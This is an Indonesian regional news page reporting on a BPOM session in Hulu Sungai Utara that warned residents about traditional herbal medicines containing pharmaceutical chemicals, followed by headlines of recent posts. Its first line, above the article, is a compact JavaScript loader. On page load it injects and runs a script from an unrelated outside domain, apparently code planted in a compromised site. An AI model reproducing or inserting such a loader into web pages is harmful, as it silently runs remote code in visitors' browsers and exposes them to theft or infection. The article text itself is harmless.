(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

BPOM HSU Edukasi Bahaya Obat Tradisional Mengandung Bahan Kimia Obat


KANALKALIMANTAN.COM, AMUNTAI Badan Pengawas Obat dan Makanan (BPOM) Kabupaten Hulu Sungai Utara (HSU) memberikan edukasi kepada masyarakat tentang bahaya obat tradisional mengandung bahan kimia obat (OT BKO) melalui sosialisasi keamanan obat dan makanan.

BPOM HSU memberikan sosialisasi kepada masyarakat khususnya PD Aisyiyah dan Anggota Muhammadiyah HSU terkait dengan bahaya mengkonsumsi obat tradisional atau jamu yang mengandung bahan kimia obat,” kata Kepala Loka POM Bambang Hery Purwanto, saat menggelar sosialisasi bersama Pengurus Daerah (PD) Aisyiyah HSU di gedung Aisyiyah Alabio, Jumat (26/8/2022).

Dikatakannya, bahan obat tradisional atau jamu yang mengandung bahan kimia obat apabila di konsumsi setiap hari dalam waktu jangka panjang dapat berakibat terhadap penurunan kesehatan khususnya kerusakan ginjal.

“Saya berharap kepada masyarakat agar waspada dalam mengkonsumsi jamu, selalu di cek kemasan, cek label, cek ijin edar dan cek kadaluarsa,” imbuhnya.

 

Baca juga  : Kenaikan Pakan Ternak Picu Melambungnya Harga Telur, Begini Kata Penjual di Banjarmasin

Terlebih, kata Bambang, masyarakat agar mengecek lagi keterangan izin edarnya.

“Karena apabila jamu tidak ada izin edarnya besar kemungkinan mengandung bahan kimia obat,” tukasnya.

Sementara dalam kesempatannya, Ketua PD Aisyiyah HSU, Isnaini Hadiani mengaku berterimakasih kepada Loka POM HSU yang telah memberikan sosialisasi khususnya bagi ibu-ibu anggota Aisyiyah.

Ia mengakui pentingnya edukasi ini bagi ibu-ibu tentang bagaimana mengetahui obat tradisional atau jamu yang aman dan tidak aman dikonsumsi nantinya.

“Mudah – mudahan kerjasama kita akan berjalan lancar dan sukses serta mendapatkan manfaat pengetahuan bagi diri pribadi, keluarga serta dapat memberikan pengetahuan kepada masyarakat di lingkungan sekitarnya,” pungkasnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More

3 jam ago

#Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More

4 jam ago

Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More

6 jam ago

Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More

8 jam ago

Logistik Pemilihan di Banjarmasin Didistribusikan, Disebar ke 965 TPS

KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More

11 jam ago

KPU Banjarbaru Mengubur Demokrasi, Meniadakan Pilkada Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More

13 jam ago

This website uses cookies.